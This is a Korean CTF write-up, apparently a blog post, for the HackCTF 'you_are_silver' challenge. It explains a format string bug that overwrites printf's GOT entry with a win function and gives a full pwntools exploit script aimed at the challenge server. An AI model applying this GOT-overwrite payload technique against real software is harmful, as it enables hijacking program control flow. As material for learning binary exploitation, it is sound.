# code
- get_tier(v6) : v6 변수 값이 75보다 크면 result = 4가 되서 v5 변수에 저장된다.
(v5 == 1인 것은 flag가 출력되는 조건이다.)
- get_tier() 호출 이후 printf(v5)를 하는데, 이 printf got를 play_game으로 덮으면 play_game(4)를 호출하게 된다.
- printf(v5); 에서 Format String Bug 취약점이 발생해서 got 값을 덮을 수 있다.
# process
- AAAAAAAA를 입력해서 출력되는 위치를 확인해보면 6번째이다.
- 64bit는 32bit와 다르게 바로 스택 주소가 leak되지 않고 레지스터 주소부터 leak된다.
그래서 스택 offset이 6부터 시작한다.
offset 6 : %4196055 (8byte)
offset 7 : c%8$ln + "\x41\x41" (8byte)
offset 8 : printf@got
그럼 이렇게 구성될 것이다. 따라서 printf@got가 출력되는 위치는 8이다.
그래서 %?$ln의 ?에 8을 넣어준 것이다.
fsb payload 구성은
pay = '%{}c'.format(play_game)
pay += '%8$ln'
pay += 'A'*(8 - len(pay)%8) => padding
pay += p64(printf_got)
가 된다. 이렇게 payload를 전달하면 printf got의 값이 play game 주소 값으로 덮힌다.
그리고 v5 값을 4로 만들어야 flag가 출력되므로 get_tier에서 v6 > 75인 조건을 만들기 위해 마지막에 75보다 커질 수 있는 값으로 채운다.
(마지막에 주는 이유는 v6가 rbp-0x4에 위치하고 s가 rbp-0x30에 위치해서 s에 입력 시 v6의 하위일부를 덮을 수 있기 때문이다. 하위 2바이트를 덮을 수 있는데 75보다 크게 만들기에 충분하다.)
# exploit code
#!/usr/bin/python
from pwn import *
#p = process("./you_are_silver")
p = remote("ctf.j0n9hyun.xyz", 3022)
elf = ELF("./you_are_silver")
play_game = 0x4006d7
printf_got = elf.got['printf']
#pay = '%{}c'.format(play_game)
pay = "%" + str(play_game) + "c"
pay += '%8$ln'
pay += 'A'*(8 - len(pay)%8) #padding
pay += p64(printf_got)
pay += 'f'*(46-len(pay))
p.sendlineafter("Please enter your name\n", pay)
p.interactive()
# exploit
[HackCTF] Register (0) | 2020.02.10 |
---|---|
[HackCTF] RTC (0) | 2020.02.03 |
[HackCTF] Look at me (sysrop) (0) | 2020.01.31 |
[HackCTF] SysROP (0) | 2020.01.30 |
[HackCTF] Beginner Heap (0) | 2020.01.22 |